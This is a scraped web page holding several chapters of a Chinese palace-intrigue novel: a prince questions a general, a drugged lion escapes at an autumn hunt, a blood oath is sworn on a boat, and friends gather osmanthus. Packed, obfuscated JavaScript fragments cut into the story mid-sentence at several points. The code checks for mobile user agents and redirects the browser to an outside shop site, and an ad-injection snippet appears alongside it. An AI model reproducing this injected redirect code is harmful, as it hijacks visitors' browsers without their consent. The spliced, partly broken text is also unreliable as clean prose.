郭嘉进宫拜见,被数次拦于文华门前,宫人言陛下微恙,让他过几日再来。 这一日,天色清和,初见秋高气爽之意。 一黄衫内侍引着郭嘉进入宫门,穿过几道回廊,走到一处殿宇之前。 殿宇地处宫城东侧,朱墙黄瓦,檐顶三重,乃是东宫所在。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327553|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >殿内空静,郭嘉沿内廊直入外室,不见宫人。 书案后,卫枢起身相迎,温和道:“郭将军!” 郭嘉行礼。 卫袖敛袖虚扶,开门见山,“初次见面,冒昧地将郭将军请来,是有几个问题相问。” 郭嘉抬眼,视线落在卫枢的面容上,这相貌,当可称得上神仪明秀,气韵华然。 再看太子双眸,虽清淡宁静,却暗藏凛冽。 “孤想问,郭将军如何看待郓国?” 郭嘉双眸微动,坦然道:“郓国狼子野心,十年之内,必成大胤之患。” 卫枢又问,“以大胤目前的军力,能否与郓国举国一战?” …… 郭嘉默后,冷声道:“不能。” 说完,他唇边噙出一抹冷笑,“殿下是不是也要像那些文臣一般,说山南道十万两军费太多,不如再忍郓国数年?” 怒意横生,端地煞气逼人。 郭嘉武将出身,相貌肃厉,在睢州,曾有吓哭小儿的传言。 “此战既无胜算,将军又何必执着?” “将军百战死,壮士十年归”,郭嘉沉声道:“吾乃大胤边将,担负着守西南疆土之责,如果一味退缩,如何面对灵州百姓?” 卫枢神情微动,眸中闪过一丝意外。 从刑部郎中徐志那里听到的郭嘉,与此时所见之人有所不同。 他提到郓人时,眼神里流露的愤恨之情,不似作假。 卫枢手指轻蜷,徐徐道:“孤希望,郭将军将郓人赶出大胤境内即可,绝不可主动兴战。” “好!”郭嘉答应得痛快。 卫枢顿了一下,“还有一事,想向郭将军请教。” 郭嘉淡然拱手,“殿下请问。” “十年前,郭将军在京城的烟碧楼,是否认识了一位叫牡丹的女子?” 郭嘉怔在原地。 无论如何也没想到,太子想问的居然会是这件事。 他面露难堪,目色中夹杂着一丝狼狈,“殿下为何要问此事?” 卫枢浅笑,好似闲话家常般问道:“偶然听人提起,孤有些好奇,没想到郭将军也是位性情中人。” 郭嘉面色青白交加,沉默半晌方道:“臣当年还是个骠骑将军,初到京城,几杯烈酒下肚,狂悖行事,醒后亦是后悔不已。” “你是说你醉了?”卫枢眸色轻动。 “那一夜,烟碧楼拍卖一众青楼女子,我酒后起兴,想要买下那个叫牡丹的女子。未料到还有另一人也要买牡丹,我当年太过于年轻气盛,非要一争到底,最后害得牡丹惊惧之下,从高台上掉落下来。” “与你相争之人,你可还记得是谁?” “当时他戴着幂篱,未见其容!”郭嘉神情陡然一厉,“此人是谁……难道与郓国有关?” 卫枢沉思半晌,安州王何卢解释他之所以制造灵州粮仓被盗一案,归根结底是因为郭嘉当年害他痛失所爱。 他本以为是一场情仇,仔细听来,却只是一场意外。 十年前的仇,十年之后才报? 当年的郭嘉不过是一个小小的骠骑将军,而何卢早已是安州王。 身份悬殊,缘何十年之后才报此深仇? 52. 秋猎 处暑过后,白露将至。 钦天监根据推算之法,定下秋獼之日,奏请皇帝允准。 八月初二,宜捕捉、伐木。 是日,天朗气清,惠风和畅。 禹山脚下,围千顷林地为猎场。 御驾一行,留在平旷之地的西苑之中。 猎场一分为二,分别以鸮、兰命名,之间以木栅相隔。 东侧的鸮场乃是广袤深林,其间有虎獐熊罴,异常凶猛,多有人在此一较高下;无好胜之心者多在西侧兰场。 大胤崇文鄙武,但骑射乃君子六艺之一,文人亦将其作为怡情养性之举。 每年春秋两季,由皇家举办围猎,称为春和秋猎。 因着科举舞弊和贡士被杀两个案子,今年的春猎未能成行,因此,京城上下对这一次的秋猎甚为关注。 北衙卫守外围,禁军守内心,中郎将庞大海奉旨巡查哨岗,迎面撞见任知宜。 她一身劲装,上着紫呢箭袖短衫,下着黑色靴裤,头发被发带高高束起,露出光洁的额头。 庞大海顿住脚步,露出笑容,“任女史也来了啊!” 任知宜顺手将青玉色素纹抹额系于额间,笑声清脆,“听说京城有春秋两季围猎,一早就想来见识一下。” “可是随殿下一起来的?” 任知宜浅笑摇头。 庞大海朝西苑遥遥望去,内中高台敞阔,帝后列坐正中,另有皇室中人、文臣武将,勋贵子弟,太子身边坐着一身骑装的懿靖郡主,二人正相谈甚欢。 他收回视线,转了个话头儿,“任女史今日打算猎些什么?” 任知宜拍了拍背上的弓弩,轻笑道:“我不会骑马,惟射艺尚可,打算去兰场打些山鸡和兔子。” 弓弩是四钧弓,短小精利,极适合女子射艺习用。若遇猛兽,杀伤力不足,但猎几个山鸡野兔,倒是绰绰有余。 “你独自一人?” 任知宜笑得开怀,“唐橘也在,正在马场那边挑选马匹。” 秋猎乃胤国大盛会,凡有官身勋爵,自恃精通骑射者,不论男女,皆可下场一搏。 庞大海被她的笑容所感染,亦朗声笑道:“可惜庞某职责所在,不能下场与大家同乐一番,希望任女史猎得尽兴!” “谢庞将军吉言!” ———— 高台熙攘,诸君欢声高语,好不热闹。 骏马驰奔,数十戎装男儿手持弯弓长戟,纵马跃入猎场。 远远望去,银胄青甲,发带飘风,俱皆英姿飒飒。 这些人当中,最耀眼的当属卫枢。 墨带束发,白襟雍颈,袖缚臂鞲,腰束玉革。 脚蹬皮靴,执缰纵马。 清贵如玉,郎艳独绝。 皇帝手执酒杯,长长慨叹道:“记得当年太子第一次参加围猎,还是朕亲手扶他上的马,一转眼,十几年过去了。” “不止骑马,还有执笔、挽弓,第一个教导枢儿的人一直都是陛下。”郑皇后柔声道。 皇帝悠悠沉思。 卫枢是他的嫡长子,自幼天资聪颖,在他身上,自己也曾倾注心血,满怀期待…… “陛下,臣女也想去射猎。”懿靖郡主脆生生道。 皇帝回过神来,和颜笑道:“懿靖也擅骑射?” 火红的骑装衬得懿靖郡主艳如桃李,她笑道:“父王曾是大胤的将军,臣女自幼随他学了些粗脚功夫,今日想在陛下面前献丑一试。” 郑皇后笑得随和,“陛下,懿靖算是将门出身,又年纪轻,不如随她去吧。” 皇帝含笑应允。 不过半盏茶的功夫,马场送来一匹枣红色的小马驹。 懿靖郡主瞧了瞧,抿唇娇笑,“陛下,懿靖想要一匹和太子殿下一样的马!” 这小红马最是温顺,卫枢的坐骑却是月宛国进献的青骓,皇宫中仅有两匹,“神发天机,策兹飞练”,高猛矫健,日行千里。 郑皇后面露讶色,那青骓马体高七尺,威仪赫赫,并不好驾驭。 懿靖毫不以为意。 待马牵来,懿靖欲翻身上马,但那青骓马却颇有些性子,昂首扬蹄不愿。 她面露羞恼,喝令马场的侍卫紧拉辔头,制住马蹄。 后又有几个侍卫冲将过来,齐齐抱住马腹。 青骓几番挣扎,稍有懈怠,懿靖抓住时机,猛地跃上马背,勒紧缰绳。 “驾……” 阔步一跃,迈入鸮场。 ———— 一支黑羽箭快如流星,“嗖”的一声,射中灰山兔的右腿。 “中了!” 唐橘坐在马背上,俯身一捞,将兔子一把抓了起来。 转回头,朝任知宜咧嘴笑道:“准头不错啊!” 任知宜甩了甩手,嗔笑道:“好你个唐橘!故意笑我呢……你那里有一箧的猎物,我才猎得这一只!” “谁让你不会骑马!看好的猎物都跑了,追都追不上!” 任知宜望着唐橘马上的英姿,歆羡不已,突然道:“阿橘,秋猎过后,待大理寺的案子少些,你教我骑马吧!” 唐橘想起之前见她上马时的笨拙样子,笑得前仰后合,“你确定?” 笑了一会儿,她见任知宜一脸郁色,咧嘴笑道:“好了……莫急!莫急!我一定教!” “若我会骑马,你便不用为了陪我来这里,尽可以去鸮场那边!” 唐橘不以为意道:“前两年去过!碰见些倒胃口的事儿,觉得那鸮场也没什么意思!” 任知宜望着她。 唐橘低头抚摸着马儿的鬃毛,冷哼道:“有些勋贵官家子弟,考不上科举,便想通过武科推荫做官,春秋两次围猎便是在陛下面前露脸的最好时机。暗施手脚的人多得是!” “如何暗施手脚?” “让下人将提前准备好的猛兽放在指定的位置,猛兽被提前下了轻微的迷药,轻易便可猎捕。” 任知宜微愕,“若是被别人瞧见,抢先了呢?” 唐橘笑笑,“那就得看抢先之人是什么身份了!若是此人位高权重,便自认倒霉;若是个无名小卒,便可以硬抢回来。” 看神情,任知宜猜测唐橘定是遭遇过这事儿。 “遇到这种人,白白生场闷气,还不如在兰场猎只鸡下酒呢。” 二人牵马并行,一路笑谈。 忽然,一声狂吼震出,似撼地山地摇动。 唐橘的马受了惊,两耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445218|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直竖,浑身绷地僵硬。 “这是……什么声音?” 吼声阵阵,离她们不远。 任知宜嘴唇翕张,不敢置信道:“好像是……” 话音未落,一声凄厉的男子惨叫声从深林内传来。 二人面色一变。 唐橘欲过去看看,马儿却昂着头,不肯向前迈出一步。 猛抽一鞭,马儿吃疼,发出阵阵嘶鸣。 伴随着吼声,“咚咚”的脚步声越来越近。 从密林深处,缓缓地走出一个庞然大物。 它体形高大壮硕,金黄色的鬃毛在日光下闪闪发亮,双目炯炯。 任知宜脸色煞白,失声道:“是狮子!” 接着颤声解释道:“就是狻猊!” 马儿似是感受到危险的逼近,双目瞪大,浑身抖颤,几欲奔走。 唐橘咽了咽口水,右手缓缓地摸向弓弩。 任知宜咬着下唇,冲她无声地摇了摇头。 狮子静静地立在原地,琥珀色的眸子死死地盯着她们二人,散出嗜血的光芒。 它嘴里咬着一截人的手臂,身后是一串长长的,沾着血的爪印。 任知宜使了个眼色,唐橘猛地一扔筐箧。 狮子腾然跳跃,血盆大口一张,片刻将雉鸡和野兔撕咬成碎骨。 趁此时机,唐橘和任知宜同时拉弓,各自射出一箭。 一箭中下肢,一箭中右腹。 狮子猛然吃痛,摇着头发狂大吼,吼声震耳欲聋。 它双眼圆瞪,爪子刨着厚土,一副蓄势待发的样子。 唐橘伸手,欲拉任知宜上马。 说时迟,那时快!那头狮子大吼一声,腾然跃起,朝任知宜扑了过来。 任知宜目色惊惧,双脚僵直,像被箍于泥土之中,动弹不得。 她绝望地闭上双眼。 此时,长戟破风而过,擦着狮子的鬃毛扎入林地。 一道青色的影子飞跃而来,迅如闪电,青骓马前蹄高扬,踢向狮子的头。 唐橘瞅准狮子闪避的空当,猛地飞掠刺出一剑,整个人滚落于地。 “吼吼……” 皮开肉绽,血流汩汩。 嘶吼之声震天,狮子痛得四处猛抓,厚厚的树皮被利爪挖下,里面露出黄色的汁液。 卫枢勒紧缰绳,纵马而跃,朝着狮子再一次飞奔而去。 青骓马勇猛矫健,毫不畏惧,跃至狮子近身之旁,卫枢侧身一跳,双腿挂于马上,猛然回身射出袖箭。 袖箭从狮子的左眼正中透穿过去,混着鲜血的红色黏液缓缓流出。 痛嘶声如巨雷,山呼海啸般,震得所有人耳膜欲裂。 它挣扎了片刻,似乎力有不逮,颓然坐于地上。 卫枢奔到任知宜身边,见她满脸是血,焦急道:“伤哪儿了?” 任知宜从呆滞中回过神来,下意识抹掉血迹,“这是喷溅过来的。” 唐橘执剑在身前,面带惊恐,“趁它没起来,咱们快走!” “不用了!”卫枢似乎力竭,一下子倒在地上,喘着气道:“应该是它身上的迷药终于发作了!” 果然,狮子坐了半晌,渐渐地垂下头去,像昏死一般。 53. 看重 蹄声阵阵,马鸣长嘶。 “啊……” 不远处,传来一声凄厉的女子尖叫。 伴随着疾奔的马蹄声,女子呼救的声音愈加惊惶。 卫枢眼神一暗。 继而朝任知宜的方向深深地看了一眼,声音有如凉冰碎玉。 “禁军稍后就到!不要告诉任何人,孤曾经来过。” 撂下话,他头也不回,跨马而去。 不多久,禁军和北衙卫同时到达。 这狮子是承恩伯家次子带进来的,因为下人施的迷药出了岔子,一打开笼子,狮子便骤然跃起,狂奔之下撞破了兰场与鸮场之间的围栏。 血腥味浓重刺鼻,放眼望去,地上尽是断臂残肢。 在狮口之下侥幸存活的,只有任知宜和唐橘二人。 庞大海望着遍身血迹,面色发白的二人,拧着眉头道:“好险!若不是这活物之前被下过迷药,你们俩绝难活命。有几人被狮子当场咬死,尸身都未找全。承恩伯府这次是彻底完了!” 任知宜身子一僵,心有余悸。 “还有数人受了重伤,也不知道能不能救得回来。” 她心中一紧,“殿下人呢?” 庞大海道:“狮子的吼声惊了郡主的马,那青骓马野性难驯,受惊之后冲向归叶谷,殿下去救人了。” 西苑中,皇帝雷霆震怒。 未及回宫,便当场下令斩了承恩伯次子,又将伯府一家尽数拿下。 北衙卫出动大半,太子卫枢那边却迟迟未有音信。 归叶谷地势陡峻,有处百丈断崖,崖下是湍瀑乱石。 暮色渐深,昏淡的落日染红了半边霞空,透出凄厉的血色。 苍松树下,任知宜若有所思。 “女史在想什么?”身后传来一道深沉的声音。 任知宜缓缓回身,“陛下回宫,柳尚书为何不跟着回去?” 出了这等事,帝后惊魂难定,匆忙摆驾回宫,仅留下北衙卫的人接应太子。 “老夫是特意来告知女史一个好消息,太子殿下已平安归来。” 任知宜双眸华光一闪。 “殿下未及歇息,又匆匆离开了!”柳德捋须笑道,“因为懿靖郡主受了惊吓,殿下急着带她回去请太医诊治。” “啧啧!” 柳德笑叹道:“为了救郡主,殿下差点跌落断崖!老夫心慈,听说此事,都不忍心拆散这对有情人了呢!” “柳尚书!”任知宜愀然变色,“这是你答应我的!” “哈哈……”,柳德目色深沉,“任女史自己也未信守承诺啊!你明着给老夫出谋划策,陷害韩家售卖假盐,暗地里却调查郑家,想要还施彼身。” 任知宜冷笑连连,“若非如此,我又如何能重得东宫信任!” 柳德面色沉下来,“你被钟夫人打伤,又被懿靖郡主侮辱,太子可为你争取过半句?今日你差点葬身兰场,太子却连句关怀问候都没有!如此薄情寡义,还没令你认清现实?” 林中一片寂静。 喧嚣退却。 密林阴森,此起彼伏的鸟叫兽鸣,犹如鬼魅之声,令人闻之悚然。 白日里差点葬身于狮口的场景再次浮现在脑海中,她禁不住浑身绷紧,手脚冰凉。 柳德见她失魂落魄的样子,心内笑叹,再怎么精明狡黠,也不过是个年轻的姑娘!人嘛,总有脆弱的时候…… “如今这等形势,想要破坏太子与安州王的联姻,实在太难……” “除非……” 任知宜回过神来,声音急迫,“除非什么?” “对太子来说,最重要的人或事是什么?若是从中找寻机会,或许还有可为。” 任知宜沉思半晌,缓缓道:“太子最看重的人是他的义父,不过早就去世了。” “义父?” “一个乡野私塾先生,太子当年蒙他所救,一直与他生活在一起,对他感情很深。每年的三月初二是他的生忌,太子在这一天总会大醉一场,我亲眼见过一次。” “还有吗?” 任知宜又想了想,“他将他义父的骨灰安置在云济寺,每个月十五都会去拜祭。” 柳德问道:“他义父是怎么死的?” 任知宜犹豫了片刻,缓缓道:“好像是死在当年那场云门惨案之中。” 云门惨案,发生在嘉以四年的安州云门镇。 大胤重文轻武,节度使各自为政,犹如一盘散沙,后来,节度使盛齐月兵变,自南向北,不到一年攻至兆京城下,京畿守军军纪松散,战力薄弱,不堪一击。 城破,帝后仓皇出逃,京城三百二十八名士子悲歌赴死,葬送在明镜台。 此事引得天下文人怒不可遏,纷纷手书笔伐,可惜再犀利的檄文也阻止不了叛军的铁蹄。 嘉以三年,盛齐月攻占大胤七成疆土,建新国,改国号为陈。 次年,连月大雨,导致云门江洪水泛滥,连淹数镇。人常说,大灾之后必有大疫,后来云门镇的百姓不幸染上瘟疫。 盛齐月为人残暴,连番战事,军资耗损极大,他不想耗费银两安置灾民,便悄悄派出一队人马,连夜屠杀掉所有染病的云门镇百姓。 天网恢恢,疏而不漏。 有四人侥幸未死,将此事公之于世。 盛齐月的倒行逆施,终于引得天下举兵共伐,不到两年,陈国灭亡。 这件事,大胤国众所皆知。 柳德双眸闪过一抹异色。 难怪! 从江南传回的消息称,近几个月,太子卫枢一直在暗查云门镇的案子,原来是为了他的义父。 太子是昏了吗? 为了一个死人,为乱臣贼子求真相? 呵呵…… ———— 承恩伯府一朝倾落,全家皆被下了大狱。 秋猎中丧命的几人中,有一位是齐国公的孙子,公府虽已没落,却也是开国功臣之后。齐国公在殿上老泪纵横,请求陛下严惩凶手。 大理寺雷霆手段,不到十日查实案情。 皇帝贬承恩伯为庶人,承恩伯的二弟,刑部侍郎方仲也因此事被牵连,连降四级,至南州任典史,接替他职位的是原本的刑部郎中徐志。 文臣、勋贵之家因此事战战兢兢,家家闭门不出,忙着训诫不务正业的子弟,切不可胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13532766|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作非为。 少了成日里招猫逗狗,流窜花街的纨绔子弟,京城安静了好一段时日。 秋猎过后,任知宜没有再回东宫,也一直未见过太子卫枢。 宫中时有传言,说懿靖郡主因为受惊过度,生了场病。病愈之后,太子卫枢每日都会陪她在御花园中散心。 节度使郭嘉离开京城之前,约任知宜一见。 平湖孤舟,四面群山。 舟舱中,两人对坐。 掀开帘子,郭嘉解下佩剑,挑眉道:“姑娘选了个山明水秀的好地方。” 任知宜浅笑,“此处乃湖心,只是为了确保绝不会有第三个人听到我们的谈话。” 郭嘉双眉轻动,坐下来。 任知宜为他斟上茶,动作宛若流云,慢条斯理,“郭将军,我爹在任上可还顺利?” “郓国近来安生不少,令尊一切安好。听说吏部将他升任刺史的公文加急,待本将回去,便要称令尊一声任刺史了。” 听出这话里的深意,任知宜抬眼笑笑,“不管是我爹,还是我,与郭将军的目的是同样的。” 郭嘉神色肃厉,辨不出情绪,“来京的一个多月,听说了许多关于姑娘的传言,对于姑娘的立场,郭某已经看不分明。” 任知宜浅笑不语,以食指蘸水,在桌案上写出两个字。 郭家瞥了一眼,眼皮微翻,神色愈加端肃,“既然如此,姑娘刚才的话说得早了些吧!” 透过舲窗,两只灰蓝色的鴜鹭于水面轻点,一掠而过。 青山遥遥,秀峰叠翠。 任知宜望着窗外景色,悠悠道:“京城虽美,却不及灵州十分之一。我生于灵州,长于灵州,离家这么久,早已经开始想念渝江山水的壮阔,灵山万树的豪迈。” 郭嘉面露意外,“姑娘分得清,孰轻孰重?” 任知宜目色清明,“我曾经厌恶官场倾轧,后来经历种种人事,才明白有些事情是事在人为。既然因缘际会让我涉足朝堂,岂能不为灵州百姓搏一搏?” 郭嘉微微动容,肃厉的神情现出一丝温意。 “希望来日,姑娘还能记得今日所言。” 任知宜从怀中掏出一把短匕,去掉刀鞘,锋芒毕露。 郭嘉瞳眸幽黑,神情淡定。 战场上出生入死几十年,什么阵仗没见过,自然不会被一个姑娘手中的利器吓到。 只见任知宜将锋刃就着食指轻轻划过,几滴鲜血落入茶水中。 水波摇曳,与洇开的血溶为一体。 任知宜举起茶盏,神情凝重,“以茶代酒,歃血为盟,初心不改。” “哈哈哈……”,郭嘉胸中突然涌起豪情万丈,“憋屈了十几年,就在郭某快要放弃之时,竟让我遇到姑娘你,也许这就是天意。” 他拔剑一挥,亦痛饮一杯血茶。 舟舱外,晴空湛蓝,万里无云。 歩下船舱,郭嘉肃声道:“那个人与你我意见相左,恐怕未来会有一番争执纠结。若姑娘已下定决心,便提早做好谋划。” 任知宜神情一顿,缓缓地点了点头,“多谢将军提醒。” 郭嘉拱手拜别,渐成远影。 54. 采桂 是日,天色蒙蒙亮。 任知宜一行六人,或马或车,前往城郊。 晨曦露微,山清明秀。 马车于官道上缓慢行进,宝珠驾着车,轻挥小鞭,口中哼着灵州小调。 唐橘驱马上前,与她并行。 “宝珠!”唐橘毫不掩饰地笑道:“你家小姐这是抽了什么风?突然要郊游!” 宝珠翻了个白眼,“唐姑娘,您不愿意,可以不来啊!” “……”,唐橘被怼得失笑,转头冲车厢里喊道:“宝珠这丫头越发厉害了,你还管不管了?” 竹帘半卷,露出一张净白的面庞,乌黑的眸子蕴着笑意,“唐橘,你没事儿非惹宝珠作甚!” 任知宜仰头望去,山色空蒙,秋意渐浓,青苍郁色之中夹杂着一片赤红,如烈火一般绚烂。 “这几日禹山红叶开得正好,趁着义兄休沐,咱们出来登高赏叶,放松一下心情。” 霍思修悠闲地骑着马,在后面笑道:“入了翰林院之后,我才明白什么叫偷得浮生半日闲啊!每日忙于编纂遗册,感觉这身子骨都要僵了。” 宝珠瞥了霍思修一眼,嫌弃道:“身体这么虚,一会儿到底能不能干活儿啊?” 所谓的“干活儿”便是采桂花。 再过七八日,是中秋。 每逢中秋,大胤官员休沐三日,民间百姓阖家同欢,登高拜月,吟诗品酒。 八月十五酿桂酒,是大胤中原地区的习俗。桂被称为百药之长,桂花米酒清甜醇绵,饮之通疏血气,加之桂花有福寿安康的寓意,家家户户都愿意在中秋之前亲手采摘桂花,酿出米酒,与亲朋共饮。 前两日,云娘提出来,想要酿几坛桂花酒。 任知宜听说,顿时来了兴致。她自幼长在灵州,只听说过“桂花载酒”的雅闻,却从未亲手做过。 城中桂花被人采摘过半,可是禹山上的桂花林开得尚好。每年八月,禹山东边桂花遍地金黄,西边红叶烈烈如火,金红相映,漫山飘香。 他们一行人出来,既是郊游,又是采桂。 霍思修听到宝珠的话,登时紧张起来,面红耳赤了半晌,一句话也说不出来。 坐在马背上,他不自觉地挺了挺腰板,想让自己看起来不是那么文弱。 他的举动被任知宜看在眼里,她放下撑着竹帘的手,回转身来,若有所思。 车厢里的云娘递过来一碟绿豆酥糕,温柔道:“今日起得早,我见东家早食吃的不多。” 任知宜轻咬一小口,“云娘姐姐,可有觉得义兄待宝珠是否有些不同?” 云娘微怔,掩嘴笑道:“东家这么聪明,怎么才看出来?” 她凑到任知宜耳边,低声道:“霍大人平日里忙,但是只要休沐在家,就往厨房里跑,时不时地要给宝珠打一打下手。 “还有啊……”,云娘笑嘻嘻道:“霍大人一和宝珠说话,就会犯口吃的毛病。” 任知宜又朝外面望了一眼。 宝珠翘着腿,口中哼着小调,似乎并未察觉到霍思修时不时投射到她身上的目光。 “宝珠呢?” 云娘笑道:“宝珠天真懵懂,心思单纯,恐怕还没明白过来,只以为霍大人文弱可欺呢。” 任知宜瞪大了眼睛,“宝珠还会欺负义兄?” “其实……也算不得欺负!”云娘温柔笑道:“不过是一个愿打,一个愿挨罢了!霍大人在意宝珠,近而情怯,闹了几次笑话,反惹得宝珠生气。” 任知宜侧身望向马车外,霍思修跟在宝珠身旁,好几次想要开口,却只是满面通红,说不出话来。 “宝珠不喜欢义兄?” “倒也未必!”云娘笑有深意,“那日,香铺来了一位官家小姐,明着是买香膏,暗地里一直打听霍大人的情况。我当时瞧着宝珠的样子,很是不豫。” 任知宜闻言,心底松了一口气。 宝珠与义兄,都是她极为亲近的人,二人若能修成正果当是最好;若不能,她也不希望伤了情谊。 云娘瞥见她眉宇轻动,一时深蹙,一时舒展,“东家不赞同?” 任知宜回过神来,淡笑着摇摇头。 “东家有没有考虑过,霍大人家中长辈可能会介意宝珠丫鬟的身份……”,云娘面露惆怅,叹息道:“如今霍大人是京城炙手可热的佳婿之选,若是因此事让他与长辈生了龃龉,纵使最后婚事能成,他父母心中也必然压了根刺。” 夫家心有嫌隙,对宝珠来说,这绝对算不得良缘。 “世俗的眼光如此!”任知宜双眸微凝,轻声道:“这件事我会想办法解决,不过在这之前我须得先确认他们二人的心意。” 她唇角含笑,双眸似是闪过点点粲光,“若是宝珠也喜欢义兄,我便开始着手给她备嫁妆。” 望着她亮晶晶的眸子,云娘温柔浅笑,“东家莫急!咱们宝珠是姑娘家,矜持一些也无妨。” 任知宜淡淡一笑。 “吁……” 沉思之际,马车骤停。 外面响起宝珠欢快的声音,“小姐,到了!” ———— 目之所及,青苍壮阔,片片明黄隐于其中,令人人眼目缭乱。 踏步走入桂林,浓香馥郁,花瓣随风拂于衣袂,香气尽染。 霍思修深吸一口气,顿觉天地钟灵之秀,皆汇聚于此,不禁赞叹道:“前朝诗人有云,暗淡轻黄体性柔,不愧是八月桂子!今日一来,竟觉得入京数月,皆是虚度啊!” 众人下了马车。 站在丈高的金桂树下向上仰望,尖长的叶片簇拥着金黄色的小花,花团紧簇,满压枝头。 “今日咱们多摘一些桂花,除了酿酒,还可以调成香料、香膏,想来会有不错的销路。” “小姐说得是!”宝珠说完,飞身一跃,动作轻巧地落在枝桠上。 霍思修望去,面露担忧。 六人,各有分工。 唐橘和宝珠轻功好,负责站在树上摇落桂花;云娘和费举子则将带着杆梗的花枝挑拣出来。 在离他们不远的地方,任知宜和霍思修将桂花置于盥盆中,以清水漂洗花间泥土。 她瞥了一眼霍思修心不在焉的样子,轻声道:“义兄,像你那种洗法,花瓣都被你揉烂了。” 霍思修收回飘忽的思绪,低头一看手中的花,羞得面色薄红,讷讷不能言。 “义兄在看谁?”任知宜问道。 霍思修闻言,眸中闪过一丝慌乱,面色红得更甚。 任知 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 宜右手掬起一小捧水,顺着左手掌心里的花瓣轻轻流下去,缓缓问道:“你是不是喜欢宝珠?” 霍思修猛地直起身来,下意识地望向宝珠的方向,两只手愈加无措,不知该放于何处;手中刚净好的花瓣洒落于地,重沾了泥尘。 任知宜手下动作不停,抬头看他,“义兄既然对宝珠有意,为何要藏着掖着……难道是介意宝珠的身份?” “自然不是!”霍思修连忙矢口否认,嗫嚅道:“我,我只是担心宝珠不喜欢我。” 洁净的花瓣被置于绢帕上,沥干水分,晶莹淡雅,剔透净纯。 “义兄曾问过宝珠?” “未曾。” 任知宜拢起花瓣,笑了笑,“义兄敢为天下公义擂响登闻鼓,缘何对待感情如此踟蹰?宝珠心性单纯,若你不说,她恐怕一直懵懂!小妹觉得,感情一事重在双方的心意。既然心悦于她,便要让她知道,大大方方地表露出来,总好过你在暗处百转千折。” 霍思修神情微动,似是听了进去。 蓦然,一声突兀的讪笑传来,引得二人回头。 从仲秋苍色之间而出,一袭红袍,玉带金冠,容颜似春华之盛,桃李之艳。 他坐于一顶肩舆之上,身后跟着四个白衣侍女,俱皆姿容秀美,体态婀娜。 “韩少初!”任知宜惊讶道。 肩舆落地,韩少初摇着玉柄雀纹宫扇,缓缓起身。 “任知宜!我以为你进禹山是有什么要紧事,却原来是在这里操心别人的终身大事!” 韩少初瞥见她手中的净花,哼了一声,“这金桂品相不高,你若想要酿酒,我着人给你送些上等的。” “不用了!”任知宜口气冷淡。 韩少初撩起衣角,嫌恶地看着袍子上蹭到的泥迹,面色露出几分意味不明。 “如今是多事之秋,宫中形势一时一变,你却生了闲情逸致,在这里采桂酿酒。” “人没到?”任知宜眉头微蹙。 侍女擦净平石,将丝绢平铺于上。 韩少初施施然而坐,“到了!” 二人说话如同打哑迷,听得霍思修一头雾水。 任知宜面露不悦,“既然人已到京城,郑家声名狼藉便是迟早的事。我好不易得这一日空闲,希望韩公子莫要让大家辜负这大好秋光。” 郑家收买韩家掌柜售卖加盐,韩家便将郑家家主郑檀二十年前陷害兄长,谋夺家主之位的事情翻出来。 让天下人都知道此事,这就是任知宜所说的“以彼之道,还施彼身”。东宫派人将郑檀的寡嫂带入京城,想给郑家致命一击。 韩少初面色微敛,“陛下连续三日宣召郑檀入宫,我担心陛下带庆嫔娘娘省亲一事会提前。” “这,就是你专门坐着肩舆上山,找我的理由?”任知宜问道。 “你!”韩少初瞥了一眼霍思修,不客气道:“去那边!” 霍思修对于他的无礼很不受用,也不动弹。 韩少初怒极反笑,扇子一点,指向宝珠,“你再不回避,我就去告诉那个小丫头,你轻薄我家侍女。” 霍思修面色大变,不敢置信地看了他半晌,悻悻离去。 “人都走了!”任知宜轻声道:“究竟出了何事?” 55. 法事 随侍退下。 韩少初敛去张狂之气,轻声道:“有地方不对劲。” 任知宜微微挑眉。 韩少初目色微沉,“郑檀的寡嫂李氏入京,我刻意泄露了两个消息给郑家的探子。一个是李氏的行踪,另一个是我韩家盐铺账册所在。” 好看的桃花眼里泛着幽光。 韩少初道:“没想到,昨日有人动过那账册,可李氏那里却毫无动静。郑檀此人刚愎自用,心狠手辣,按兵不动可不是他一贯的作派。” 任知宜面不改色,继续摆弄着舆盆中的花瓣,“殿下如何说?” 闻言,韩少初面容间添了几分急切,“太子这几日一直在华济寺做法事,我根本见不到人。任知宜,看在你我睢州相交一场的份上,替我拿个主意。” 韩家与郑家决裂,是韩少初在韩家宗祠前立誓,以他名下所有田产、家财作保,才换得韩家同意。 他输不起。 任知宜思忖半晌,“郑檀未有反应,有两个可能。 要么是他圣心正隆,忙于庆嫔省亲一事,觉得自己胜券在握。 